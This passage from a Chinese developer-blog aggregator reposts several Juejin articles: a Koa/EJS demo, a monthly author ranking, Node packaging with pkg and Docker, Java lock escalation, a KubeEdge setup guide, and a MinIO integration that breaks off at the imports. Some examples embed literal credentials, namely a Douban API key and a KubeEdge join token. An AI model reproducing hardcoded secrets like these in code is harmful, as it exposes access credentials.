10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
javascript复制代码app.use(async(ctx, next) => {
console.log(ctx.request.path)
if (ctx.request.path === '/index') { // 首页
let data = ''
await requestDemo().then((body) => {
data = JSON.parse(body)
})
// ctx.response.status = 200
// ctx.response.body = 'index'
await ctx.render('index', { data })
} else if (ctx.request.path === '/hello') { // hello页
ctx.response.status = 200
ctx.response.body = 'hello world'
} else {
ctx.throw(404, 'Not found') // 404
}
await next()
})
async function requestDemo() {
let url = 'https://api.douban.com/v2/user/1000001?apikey=0df993c66c0c636e29ecbb5344252a4a'
return new Promise(function(resolve, reject) {
request(url, function(error, response, body) {
if (!error && response.statusCode == 200) {
resolve(body);
} else {
reject('接口请求失败')
}

})
});
}

我们使用request库请求第三方接口,拿到json对象data,现在可以将data中的avatar、name、loc_name属性试着塞入index.ejs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
xml复制代码<div>
这里是是第三方接口<a target="_blank" href="http://www.doubanapi.com/">(豆瓣)</a>请求到的数据:
<br>
<div>
头像:
<img src="<%= data.avatar %>" />
</div>
<div>
姓名:
<%= data.name %>
</div>
<div>
地址:
<%= data.loc_name %>
</div>
</div>

localhost_3000 - Google Chrome 2021-10-13 15-29-07202110131533234.gif
demo示例

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

掘力计划月度榜单|2021年9月Top作者榜公布

发表于 2021-10-12

hi,掘友们,大家好呀~

掘力计划月度榜单第九期来了~

本期榜单公布了 2021 年 9 月前端、后端、移动端三个分类下掘金社区优秀的创作者,为社区内更广大的掘友们树立榜样,期待掘友们在技术领域内更好更多地钻研技术、输出更多的优质内容,在帮助自己、他人提升的同时,也可以收获多多。

image.png

榜单的数据依据

在掘金里我们会使用掘力值来计算一个掘友在掘金社区的累计贡献值,累计贡献值的目的是为了更好地回馈优质的用户,同时也借由他们生产的优质内容帮助到更多的掘友们。掘力值也叫 Juejin Power 或者可以简写为 JP,您可以在您的个人页面上看到自己的掘力值。

掘力值的价值

  1. 掘力值会影响到你发的文章的排序,掘力值高且活跃的用户所生产的内容会被推荐给更多的用户
  2. 掘力值会影响你是否被推荐,越来越多的掘友通过关注来消费内容,因而被推荐并获得关注可以有效地提高你的影响力
  3. 掘力值会有不同的权限,随着掘力值的不断提高,越来越多的功能和权限会解锁,让你在掘金里畅行无阻

掘力值如何计算

掘力值的目的就是为了计算一名掘友的累计贡献,而掘金社区的核心目的是去分享和学习有价值的内容,因而他与您分享的内容本身的价值直接相关:

JP=likesCount+viewsCount/100

即一个用户的掘力值是他生产的专栏文章的「阅读数 除以 100」 再与「点赞数」相加的和。

需要注意的是

1
2
3
4
5
复制代码1.掘力值只计算用户在掘金内的专栏文章,即写作在掘金里的内容数据

2.掘力值每天晚上更新计算一次

3.如果作者删除了自己的专栏文章,相应的掘力值会被扣除,但是不会撤销已经获得的权限

因此 2021 年 9 月掘力值排行榜,主要从掘力值增加幅度来进行排序,这个纬度更能综合的反应作者在社区内的活跃情况和对社区建设的贡献度。

本期榜单奖励

各分类榜单

  1. 第 1 名,每人一个字节跳动咖啡杯 + 实体上榜证书 + 专属上榜海报
  2. 第2-10名,每人一个掘金抱枕 + 马克杯 + 实体上榜证书 + 专属上榜海报
  3. 第11-20名,每人一个掘金马克杯 + 实体上榜证书 + 专属上榜海报

上榜规则

1、评选范围

当月所有在掘金发布原创文章且无违规的创作者。

2、榜单评选周期

以自然月为统计周期,每月 10 日前公布上月榜单(节假日顺延)

数据统计时间:上月 1 日 00:00~上月月末 24:00

3、榜单评选维度

榜单评选由内容质量、本月发文数量、本月因创作增加的掘力值三大维度综合考量。

其中内容质量主要测评指标为点赞数量和阅读量,也就是本篇文章所增加的掘力值;本月发文数量=本月被推荐文章数量。

PS:

  • 月榜评选创作者需满足统计周期内有被推荐的原创文章此条件方可参与。
  • 上榜名单均会进行人工查验核对,最终结果以页面展示为准。

榜单公布

前端作者榜单

9月榜单前端.png

后端作者榜单

9月榜单后端.png

移动端作者榜单

9月榜单移动端.png

作者主页展示

前端作者展示

名次 用户昵称 个人主页链接
1 掘金安东尼 juejin.cn/user/152137…
2 Sunshine_Lin juejin.cn/user/129268…
3 Alaso juejin.cn/user/782508…
4 zz juejin.cn/user/338615…
5 zxg_神说要有光 juejin.cn/user/278801…
6 CUGGZ juejin.cn/user/354448…
7 前端小牛到犀牛 juejin.cn/user/194359…
8 大帅老猿 juejin.cn/user/295507…
9 超神熊猫 juejin.cn/user/222506…
10 鱼酱 juejin.cn/user/152137…
11 小浪努力学前端 juejin.cn/user/409861…
12 yck juejin.cn/user/712139…
13 黄轶 juejin.cn/user/213710…
14 前端picker juejin.cn/user/278877…
15 ConardLi juejin.cn/user/394910…
16 Mancuoj juejin.cn/user/346610…
17 ssh_晨曦时梦见兮 juejin.cn/user/233062…
18 寒草 juejin.cn/user/703340…
19 荣顶 juejin.cn/user/285838…
20 Gopal juejin.cn/user/391391…

后端作者展示

名次 用户昵称 个人主页链接
1 捡田螺的小男孩 juejin.cn/user/145101…
2 why技术 juejin.cn/user/370281…
3 Lucifer三思而后行 juejin.cn/user/416981…
4 程序那些事 juejin.cn/user/391391…
5 初念初恋 juejin.cn/user/394024…
6 saberlgy juejin.cn/user/188282…
7 MacroZheng juejin.cn/user/958429…
8 Sunny_Chen juejin.cn/user/862483…
9 柏炎 juejin.cn/user/408983…
10 假装懂编程 juejin.cn/user/905653…
11 浩宇天尚 juejin.cn/user/396669…
12 XiaoLin_Java juejin.cn/user/256893…
13 如梦技术 juejin.cn/user/159174…
14 热黄油啤酒 juejin.cn/user/260440…
15 诗一样的代码 juejin.cn/user/146061…
16 二当家的白帽子 juejin.cn/user/277118…
17 Java3y juejin.cn/user/343892…
18 是龙台呀 juejin.cn/user/835284…
19 老郑_ juejin.cn/user/330696…
20 程序员小饭 juejin.cn/user/964127…

移动端作者主页展示

名次 用户昵称 个人主页链接
1 恋猫de小郭 juejin.cn/user/817692…
2 Halifax juejin.cn/user/845182…
3 岛上码农 juejin.cn/user/707878…
4 RicardoMJiang juejin.cn/user/668101…
5 Cooci juejin.cn/user/365003…
6 阿Tya juejin.cn/user/598591…
7 Flywith24 juejin.cn/user/219558…
8 Coolbreeze juejin.cn/user/394024…
9 冬日毛毛雨 juejin.cn/user/221625…
10 彭丑丑 juejin.cn/user/106398…
11 奔波儿灞取经 juejin.cn/user/140702…
12 OldBirds juejin.cn/user/325111…
13 Karl_wei juejin.cn/user/448256…
14 codelang juejin.cn/user/184373…
15 fundroid juejin.cn/user/393150…
16 唐子玄 juejin.cn/user/308708…
17 业志陈 juejin.cn/user/923245…
18 阿华12年 juejin.cn/user/114395…
19 小呆呆666 juejin.cn/user/284079…
20 张风捷特烈 juejin.cn/user/149189…

奖品领取方式

1.请上榜作者按分类添加运营同学 V 信获取相关证书、海报等奖励,添加时备注「9月榜单作者」。

  • 前端:C1216296279
  • 后端:834110785
  • 移动端:lsybonnie

2.所有上榜作者请在 2021年10月17日24点前 填写问卷登记奖品收货地址,过期视为自动放弃,不补发。

3.本榜单最终解释权归掘金社区所有。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

NODE打包交付第三方使用之PKG

发表于 2021-10-12

背景:这我来本公司的第一个任务,中间踩了很多坑。万幸的是最终解决了!我们所采用的技术栈是midway.js(node的框架,可以用koa、egg、express代替)+so+pkg。

so:作为现阶段可逆难度比较大的技术手段,采用so来做加密的案例有很多,这个就不过多的赘述了,动C++的做起来很方便,也可以用dll,用法大体类似。

pkg:作为JS的打包工具,会把环境和依赖都打包进一个可执行文件,随便复制到相应的地方就可以用了!

1、so的node使用,直接上代码

1
2
3
4
5
6
ini复制代码const [data, key] = base64.decode(deCryptoKey).split(',');
const libm = ffi.Library(path.join(process.cwd(), this.soPwd), {
TKS: ['string', [GoString, GoString, GoString]],});
// 获取soConfigconst
secStr = libm.TKS( newGoString('sec_code'), newGoString(data), newGoString(key));
let soConfig = JSON.parse(secStr);

2、PKG打包配置——package.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
go复制代码package.json

"pkg": {"scripts": ["./dist/**/*.js", "./bootstrap.js" ],
"assets": [
"./node_modules/ref-napi/**/*",
"./node_modules/ffi-napi/**/*",
"./node_modules/ref-struct-napi/**/*",
"./node_modules/node-gyp-build/**/*",
"./node_modules/grpc/**/*"
],
"targets": ["node12-linux-x64"]},
"scripts": {
"pkg-macos": "pkg . -t node12-macos-x64 --out-path=",
"pkg-linux": "pkg . -t node12-linux-x64 --out-path=",
},

3、PKG打包配置——dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bash复制代码FROM nikolaik/python-nodejs:python3.8-nodejs12
ENV NODE_ENV=local ENV MIDWAY_LOGGER_DISABLE_COLORS=true
WORKDIR /root

COPY . .
RUN npm i midway-bin \
&& npm i \
&& npm run build \
&& npm rebuild \
&& npm run pkg-linux \
&& ls |grep -v -E "^so|artery"|xargs -i rm -rf {} \
&& cd so \
&& ls |grep -v *${NODE_ENV}.so|xargs -i rm -rf {}
EXPOSE 7001

["/root/artery"]

4、PKG打包配置——bootstrap.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ini复制代码// 加载所有js文件-解决路由丢失问题
const getFiles = function (dir, list = []) {
const arr = fs.readdirSync(dir);
while (arr.length) {
const item = arr.pop();
const fullpath = path.join(dir, item);
const stats = fs.statSync(fullpath);
if (!stats.isDirectory()) {
if (/.js$/.test(fullpath)) list.push(require(fullpath));
} else {
getFiles(fullpath, list);
}
}
return list;
};
Bootstrap.before(async (container) => {
// 读取远程配置
web = createKoaweb(container.getConfigService().getConfiguration());
}).configure({
baseDir: path.join(__dirname, '/dist'),
preloadModules: getFiles(path.join(__dirname, '/dist')),
}).load(() => {
return web;
}).run();

总结遇到的坑

1、python问题

换源、npm rebuild

2、项目启动问题

Node启动换为直接运行

3、npm build 丢失二进制文件问题

dockerfil复制进去

4、无效的内存地址或 nil 指针取消引用

so包不对

5、路由找不到

与作者沟通加了preloadModules方法

6、native complate have not……

将依赖放进打包目录assets下

7、V8报错

降低node版本

8、数据库dao无法加载

执行目录有问题,解决方案用:join(__dirname, ‘../‘, it)))

后续优化

1、因为我们用了SO,所以导致打出来的docker镜像比较大,后续可以采用二次打包,打出来要缩小十倍左右!

2、或者把SO做成服务,用SDK调用(我们的方案)

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Synchronized优化

发表于 2021-10-12
  1. Synchronized是java中的同步关键字,可以于代码块,方法(普通方法、静态方法),它的作用分为3个:(1)确保线程互斥的访问同步代码(2)保证共享变量的修改能够及时可见(3)有效解决重排序问题。

Synchronized的基本使用本文不多做描述。

Synchronized的原理:

有一段代码如下:

1
2
3
4
5
6
7
csharp复制代码public class SynchronizedDemo {
public void method() {
synchronized (this) {
System.out.println("Method 1 start");
}
}
}

将这段代码反编译(网图)

如图所示有两条指令:monitorenter、monitorexit。

参考jvm规范描述

monitorenter :

每个对象有一个监视器锁(monitor)。当monitor被占用时就会处于锁定状态,线程执行monitorenter指令时尝试获取monitor的所有权,过程如下:

1、如果monitor的进入数为0,则该线程进入monitor,然后将进入数设置为1,该线程即为monitor的所有者。

2、如果线程已经占有该monitor,只是重新进入,则进入monitor的进入数加1.3.如果其他线程已经占用了monitor,则该线程进入阻塞状态,直到monitor的进入数为0,再重新尝试获取monitor的所有权。

monitorexit:

执行monitorexit的线程必须是objectref所对应的monitor的所有者。指令执行时,monitor的进入数减1,如果减1后进入数为0,那线程退出monitor,不再是这个monitor的所有者。其他被这个monitor阻塞的线程可以尝试去获取这个 monitor 的所有权。

通过这两段描述,我们应该能很清楚的看出Synchronized的实现原理,Synchronized的语义底层是通过一个monitor的对象来完成,其实wait/notify等方法也依赖于monitor对象,这就是为什么只有在同步的块或者方法中才能调用wait/notify等方法,否则会抛出java.lang.IllegalMonitorStateException的异常的原因。

同步方法反编译:

1
2
3
4
5
csharp复制代码public class SynchronizedMethod {     
public synchronized void method() {
System.out.println("Hello World!");
}
}

反编译结果:

从反编译的结果来看,方法的同步并没有通过指令monitorenter和monitorexit来完成(理论上其实也可以通过这两条指令来实现),不过相对于普通方法,其常量池中多了ACC_SYNCHRONIZED标示符。JVM就是根据该标示符来实现方法的同步的:当方法调用时,调用指令将会检查方法的 ACC_SYNCHRONIZED 访问标志是否被设置,如果设置了,执行线程将先获取monitor,获取成功之后才能执行方法体,方法执行完后再释放monitor。在方法执行期间,其他任何线程都无法再获得同一个monitor对象。 其实本质上没有区别,只是方法的同步是一种隐式的方式来实现,无需通过字节码来完成。

锁升级:

  1. 重量级锁:Synchronized是通过对象内部的一个叫做监视器锁(monitor)来实现的。但是监视器锁本质又是依赖于底层的操作系统的Mutex Lock来实现的。而操作系统实现线程之间的切换这就需要从用户态转换到核心态,这个成本非常高,状态之间的转换需要相对比较长的时间,这就是为什么Synchronized效率低的原因。因此,这种依赖于操作系统Mutex Lock所实现的锁我们称之为“重量级锁”。JDK中对Synchronized做的种种优化,其核心都是为了减少这种重量级锁的使用。JDK1.6以后,为了减少获得锁和释放锁所带来的性能消耗,提高性能,引入了“轻量级锁”和“偏向锁”。
  2. **轻量级锁 :**锁的状态总共有四种:无锁状态、偏向锁、轻量级锁和重量级锁。随着锁的竞争,锁可以从偏向锁升级到轻量级锁,再升级的重量级锁(但是锁的升级是单向的,也就是说只能从低到高升级,不会出现锁的降级)。JDK 1.6中默认是开启偏向锁和轻量级锁的,我们也可以通过-XX:-UseBiasedLocking来禁用偏向锁。
  3. 偏向锁:引入偏向锁是为了在无多线程竞争的情况下尽量减少不必要的轻量级锁执行路径,因为轻量级锁的获取及释放依赖多次CAS原子指令,而偏向锁只需要在置换ThreadID的时候依赖一次CAS原子指令(由于一旦出现多线程竞争的情况就必须撤销偏向锁,所以偏向锁的撤销操作的性能损耗必须小于节省下来的CAS原子指令的性能消耗)。上面说过,轻量级锁是为了在线程交替执行同步块时提高性能,而偏向锁则是在只有一个线程执行同步块时进一步提高性能。

Java对象保存在内存中时由三部分组成:对象头、实例数据、对齐填充字节

其中而对象头分为三部分:①mark word ② 指向类指针 ③数组长度(数组才有)

mark word

  1. 记录了对象和锁有关的信息,当这个对象被synchronized当成同步锁时,围绕这个锁的一系列操作都和mark word有关
  2. mark word长度跟jvm长度有关、32位对应32bit 64位对应64bit
  3. Mark Word在不同的锁状态下存储的内容不同,在32位JVM中是这么存的:

其中无锁和偏向锁的锁标志位都是01,只是在前面的1bit区分了这是无锁状态还是偏向锁状态。

JDK1.6以后的版本在处理同步锁时存在锁升级的概念,JVM对于同步锁的处理是从偏向锁开始的,随着竞争越来越激烈,处理方式从偏向锁升级到轻量级锁,最终升级到重量级锁。

jvm中mark word和锁,锁升级的过程:

  1. 当没有被当成锁时,就是一个普通的对象,Mark Word记录对象的HashCode,锁标志位是01,是否偏向锁那一位是0。
  2. 当对象被当做同步锁并有一个线程A抢到了锁时,锁标志位还是01,但是否偏向锁那一位改成1,前23bit记录抢到锁的线程id,表示进入偏向锁状态。
  3. 当线程A再次试图来获得锁时,JVM发现同步锁对象的标志位是01,是否偏向锁是1,也就是偏向状态,Mark Word中记录的线程id就是线程A自己的id,表示线程A已经获得了这个偏向锁,可以执行同步锁的代码。
  4. 线程B试图获得这个锁时,JVM发现同步锁处于偏向状态,但是Mark Word中的线程id记录的不是B,那么线程B会先用CAS操作试图获得锁,这里的获得锁操作是有可能成功的,因为线程A一般不会自动释放偏向锁。如果抢锁成功,就把Mark Word里的线程id改为线程B的id,代表线程B获得了这个偏向锁,可以执行同步锁代码。如果抢锁失败,则继续执行步骤5。
  5. 偏向锁状态抢锁(cas)失败,代表当前锁有一定的竞争,偏向锁将升级为轻量级锁。JVM会在当前线程的线程栈中开辟一块单独的空间,里面保存指向对象锁Mark Word的指针,同时在对象锁Mark Word中保存指向这片空间的指针。上述两个保存操作都是CAS操作,如果保存成功,代表线程抢到了同步锁,就把Mark Word中的锁标志位改成00,可以执行同步锁代码。如果保存失败,表示抢锁失败,竞争太激烈,继续执行步骤6。
  6. 轻量级锁抢锁失败,JVM会使用自旋锁,自旋锁不是一个锁状态,只是代表不断的重试,尝试抢锁。从JDK1.7开始,自旋锁默认启用,自旋次数由JVM决定。如果抢锁成功则执行同步锁代码,如果失败则继续执行步骤7。(锁升级为重量级锁)
  7. 自旋锁重试之后如果抢锁依然失败,同步锁会升级至重量级锁,锁标志位改为10。在这个状态下,未抢到锁的线程都会被阻塞。

在别的地方搬运了一张sync锁升级的流程图:

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

当物联网遇上云原生:K8s向边缘计算渗透中

发表于 2021-10-12

​​摘要:K8s正在向边缘计算渗透,它为边缘侧的应用部署提供了便利性,在一定程度上转变了边缘应用与硬件之间的关系,将两者的耦合度降低。

本文分享自华为云社区《云原生在物联网中的应用【拜托了,物联网!】》,作者: kaliarch。

前言

物联网已经产生了数量惊人的数据,随着5G网络的部署,这些数据将呈指数级增长。管理和使用这些数据是一个挑战。

无论是从交通摄像头、气象传感器、电表等会产生信息,这些信息与智能城市环境中,其他摄像头和传感器的数据相结合,在一个中心位置处理起来可能会太多,尤其是当你在预期设备会对事件做出反应时。

超大规模云计算环境中已被普遍使用的Kubernetes(简称K8s),带入到物联网边缘计算场景中。新成立的Kubernetes物联网边缘工作组将采用运行容器的理念并扩展到边缘,促进K8s在边缘环境中的适用。

  • 支持将工业物联网IoT的连接设备数量扩展到百万量级,既可支持IP设备以直连方式接入K8s云平台,又可支持非IP设备通过物联网网关接入。
  • 利用边缘节点,让计算更贴近设备侧,以便减少延迟、降低带宽需求和提高可靠性,满足用户实时、智能、数据聚合和安全需求:

o 将流数据应用部署到边缘节点,降低设备和云平台之间通信的带宽需求。

o 部署无服务器应用框架,使得边缘侧无需与云端通讯,便可对某些紧急情况做出快速响应。

  • 在混合云和边缘环境中提供通用控制平台,以简化管理和操作。

一、背景

1.1 KubeEdge简介

KubeEdge 是一个开源的系统,可将本机容器化应用编排和管理扩展到边缘端设备。 它基于Kubernetes构建,为网络和应用程序提供核心基础架构支持,并在云端和边缘端部署应用,同步元数据。KubeEdge 还支持 MQTT 协议,允许开发人员编写客户逻辑,并在边缘端启用设备通信的资源约束。KubeEdge 包含云端和边缘端两部分。

1.2 KubeEdge特点

边缘计算

通过在边缘端运行业务逻辑,可以在本地保护和处理大量数据。KubeEdge 减少了边和云之间的带宽请求,加快响应速度,并保护客户数据隐私。

简化开发

开发人员可以编写常规的基于 http 或 mqtt 的应用程序,容器化并在边缘或云端任何地方运行。

Kubernetes 原生支持

使用 KubeEdge 用户可以在边缘节点上编排应用、管理设备并监控应用程序/设备状态,就如同在云端操作 Kubernetes 集群一样。

丰富的应用程序

用户可以轻松地将复杂的机器学习、图像识别、事件处理等高层应用程序部署到边缘端。

二、KubeEdge简介

2.1 KubeEdge架构

2.2 架构详解

2.2.1 云上部分

  • CloudHub: CloudHub 是一个 Web Socket 服务端,负责监听云端的变化, 缓存并发送消息到 EdgeHub。
  • EdgeController: EdgeController 是一个扩展的 Kubernetes 控制器,管理边缘节点和 Pods 的元数据确保数据能够传递到指定的边缘节点。
  • DeviceController: DeviceController 是一个扩展的Kubernetes 控制器,管理边缘设备,确保设备信息、设备状态的云边同步。

2.2.2 边缘部分

  • EdgeHub: EdgeHub 是一个 Web Socket 客户端,负责与边缘计算的云服务(例如 KubeEdge 架构图中的 Edge Controller)交互,包括同步云端资源更新、报告边缘主机和设备状态变化到云端等功能。
  • Edged: Edged 是运行在边缘节点的代理,用于管理容器化的应用程序。
  • EventBus: EventBus 是一个与 MQTT 服务器(mosquitto)交互的 MQTT 客户端,为其他组件提供订阅和发布功能。
  • ServiceBus: ServiceBus是一个运行在边缘的HTTP客户端,接受来自云上服务的请求,与运行在边缘端的HTTP服务器交互,提供了云上服务通过HTTP协议访问边缘端HTTP服务器的能力。
  • DeviceTwin: DeviceTwin 负责存储设备状态并将设备状态同步到云,它还为应用程序提供查询接口。
  • MetaManager: MetaManager 是消息处理器,位于 Edged 和Edgehub 之间,它负责向轻量级数据库(SQLite)存储/检索元数据。

三、实战部署

3.1 keadm部署

注意事项:

  • 目前支持keadmUbuntu 和 CentOS 操作系统。RaspberryPi 支持正在进行中。
  • 需要超级用户权限(或 root 权限)才能运行。

3.1.1 设置云端(KubeEdge 主节点)

默认情况下10000,10002边缘节点需要可以访问Cloudcore 中的端口和端口。

keadm init将安装cloudcore,生成证书并安装 CRD。它还提供了一个可以设置特定版本的标志。

重要说明:****

  1. kubeconfig 或 master 中至少一个必须正确配置,以便用于验证 k8s 集群的版本和其他信息。

2.请确保边缘节点可以使用云节点的本地IP连接云节点,或者您需要使用–advertise-address标志指定云节点的公共IP。

  1. –advertise-address(1.3版本后才有效)是云端暴露的地址(会加入到CloudCore证书的SAN中),默认值为本地IP。

例子:

1
arduino复制代码# keadm init --advertise-address="THE-EXPOSED-IP"(only work since 1.3 release)

输出:

1
2
3
lua复制代码Kubernetes version verification passed, KubeEdge installation will start...
...
KubeEdge cloudcore is running, For logs visit: /var/log/kubeedge/cloudcore.log

3.1.2 设置边缘端(KubeEdge 工作节点)

  • 从云端获取令牌

keadm gettoken在云端运行将返回令牌,该令牌将在加入边缘节点时使用。

1
2
arduino复制代码# keadm gettoken
27a37ef16159f7d3be8fae95d588b79b3adaaf92727b72659eb89758c66ffda2.eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE1OTAyMTYwNzd9.JBj8LLYWXwbbvHKffJBpPd5CyxqapRQYDIXtFZErgYE
  • 加入边缘节点

keadm join将安装edgecore 和 mqtt。它还提供了一个可以设置特定版本的标志。

例子:

1
shell复制代码# keadm join --cloudcore-ipport=192.168.20.50:10000 --token=27a37ef16159f7d3be8fae95d588b79b3adaaf92727b72659eb89758c66ffda2.eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE1OTAyMTYwNzd9.JBj8LLYWXwbbvHKffJBpPd5CyxqapRQYDIXtFZErgYE

重要说明:

  1. –cloudcore-ipportflag 是强制性标志。1. 如果要自动为边缘节点申请证书,–token则需要。

2.云端和边缘端使用的kubeEdge版本要一致。

输出:

1
2
3
lua复制代码Host has mosquit+ already installed and running. Hence skipping the installation steps !!!
...
KubeEdge edgecore is running, For logs visit: /var/log/kubeedge/edgecore.log

3.2 二进制部署

注意事项:

  • 需要超级用户权限(或 root 权限)才能运行。

3.2.1 设置云端(KubeEdge 主节点)

  • 创建 CRD

  • 准备配置文件

详情请参考云配置。

  • 运行

3.2.2 设置边缘端(KubeEdge 工作节点)

3.2.2.1 准备配置文件

  • 生成配置文件

  • 在云端获取代币值:

  • 更新 edgecore 配置文件中的令牌值:

这token就是上面步骤得到的。

详情请参考edge的配置。

3.2.2.2 运行

如果要在同一台主机上运行 cloudcore 和 edgecore,请先运行以下命令:

1
shell复制代码# export CHECK_EDGECORE_ENVIRONMENT="false"

启动边缘核:

1
arduino复制代码# edgecore --config edgecore.yaml

运行edgecore-h以获取帮助信息并根据需要添加选项。

四、反思

K8s正在向边缘计算渗透,它为边缘侧的应用部署提供了便利性,在一定程度上转变了边缘应用与硬件之间的关系,将两者的耦合度降低。通过KubeEdge,拓展“边缘场景”,可帮助用户加速实现云边协同,在海量边、端设备上完成大规模应用的统一交付、运维与管控。

据Gartner估计,到2025年,超过75%的企业生成数据可以在传统数据中心和云之外创建和处理,像Kubernetes这样的编排系统前景光明,它已经被证明是完成这一任务的最佳工具。

参考资料

  • github.com/kubeedge/ku…
  • www.cncf.io/blog/2020/0…

点击关注,第一时间了解华为云新鲜技术~

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

springboot集成minio完全版,坑点很多 一、po

发表于 2021-10-12

本文已参与 「掘力星计划」 ,赢取创作大礼包,挑战创作激励金。

本文我们使用springboot集成minio,这里我们没有直接使用其starter,因为在maven仓库当中只有两个版本,且使用不广泛。这里我们可以自己写一个starter,其他项目直接引用就可以了。

先说一坑,minio的中文文档版本跟最新的版本完全匹配不上,而英文官网呢,我有始终无法访问,不知道小伙伴是不是碰到同样的问题。

关于minio的搭建参考我的前一篇文章:juejin.cn/post/701800…

话不多说,进入正题。

一、pom依赖

我是用的版本:

1
2
3
4
5
6
xml复制代码<!-- https://mvnrepository.com/artifact/io.minio/minio -->
<dependency>
<groupId>io.minio</groupId>
<artifactId>minio</artifactId>
<version>8.2.1</version>
</dependency>

这里有一坑啊,本来我使用的是最新的8.3.0版本,当所有代码都写完后,发现启动报错:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
markdown复制代码***************************
APPLICATION FAILED TO START
***************************

Description:

An attempt was made to call a method that does not exist. The attempt was made from the following location:

io.minio.S3Base.<clinit>(S3Base.java:105)

The following method did not exist:

okhttp3.RequestBody.create([BLokhttp3/MediaType;)Lokhttp3/RequestBody;

The method's class, okhttp3.RequestBody, is available from the following locations:

jar:file:/D:/apache-maven-3.6.3/repo/com/squareup/okhttp3/okhttp/3.14.9/okhttp-3.14.9.jar!/okhttp3/RequestBody.class

It was loaded from the following location:

file:/D:/apache-maven-3.6.3/repo/com/squareup/okhttp3/okhttp/3.14.9/okhttp-3.14.9.jar


Action:

Correct the classpath of your application so that it contains a single, compatible version of okhttp3.RequestBody

2021-08-25 13:01:29.975 [graph-editor: N/A] [ERROR] com.vtc.core.analysis.Slf4jFailureAnalysisReporter -

***************************
APPLICATION FAILED TO START
***************************

Description:

An attempt was made to call a method that does not exist. The attempt was made from the following location:

io.minio.S3Base.<clinit>(S3Base.java:105)

The following method did not exist:

okhttp3.RequestBody.create([BLokhttp3/MediaType;)Lokhttp3/RequestBody;

The method's class, okhttp3.RequestBody, is available from the following locations:

jar:file:/D:/apache-maven-3.6.3/repo/com/squareup/okhttp3/okhttp/3.14.9/okhttp-3.14.9.jar!/okhttp3/RequestBody.class

It was loaded from the following location:

file:/D:/apache-maven-3.6.3/repo/com/squareup/okhttp3/okhttp/3.14.9/okhttp-3.14.9.jar


Action:

Correct the classpath of your application so that it contains a single, compatible version of okhttp3.RequestBody

我以为是okhttp这个版本或者包重复的问题,一顿鼓捣,发现没用,最终解决方案是降低了minio的版本到8.2.1,遇到的小伙伴可以尝试降版本。

二、配置文件

我们需要准备以下内容,配置文件yaml中的配置,分别是minio服务地址,用户名,密码,桶名称:

1
2
3
4
5
yaml复制代码minio:
endpoint: http://172.16.3.28:10000
accessKey: admin
secretKey: 12345678
bucketName: aaa

另外一部分,设置spring的上传文件最大限制,如果仍然不行,请考虑是否是网关,或nginx仍然需要配置,nginx配置在最后的配置文件中我给出了100m的大小:

1
2
3
4
5
6
yaml复制代码spring:
# 配置文件上传大小限制
servlet:
multipart:
max-file-size: 100MB
max-request-size: 100MB

三、配置类

此处工需要两个配置类,分别是属性配置,用来读取yaml的配置;另外是初始化MinioClient到spring容器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
arduino复制代码import lombok.Data;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.stereotype.Component;

/**
* description: minio配置类
*
* @author: weirx
* @time: 2021/8/25 9:47
*/
@Data
@Component
@ConfigurationProperties(prefix = "minio")
public class MinioPropertiesConfig {

/**
* 端点
*/
private String endpoint;
/**
* 用户名
*/
private String accessKey;
/**
* 密码
*/
private String secretKey;

/**
* 桶名称
*/
private String bucketName;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
kotlin复制代码import io.minio.MinioClient;
import org.springframework.boot.context.properties.EnableConfigurationProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

import javax.annotation.Resource;


/**
* description: 获取配置文件信息
*
* @author: weirx
* @time: 2021/8/25 9:50
*/
@Configuration
@EnableConfigurationProperties(MinioPropertiesConfig.class)
public class MinioConfig {

@Resource
private MinioPropertiesConfig minioPropertiesConfig;


/**
* 初始化 MinIO 客户端
*/
@Bean
public MinioClient minioClient() {
MinioClient minioClient = MinioClient.builder()
.endpoint(minioPropertiesConfig.getEndpoint())
.credentials(minioPropertiesConfig.getAccessKey(), minioPropertiesConfig.getSecretKey())
.build();
return minioClient;
}
}

四、工具类

提供一个简易的工具类供其他服务直接调用,包括上传、下载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
ini复制代码import com.baomidou.mybatisplus.core.toolkit.Constants;
import com.vtc.core.utils.DownLoadUtils;
import io.minio.*;
import org.apache.commons.io.IOUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Component;
import org.springframework.web.multipart.MultipartFile;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.UnsupportedEncodingException;
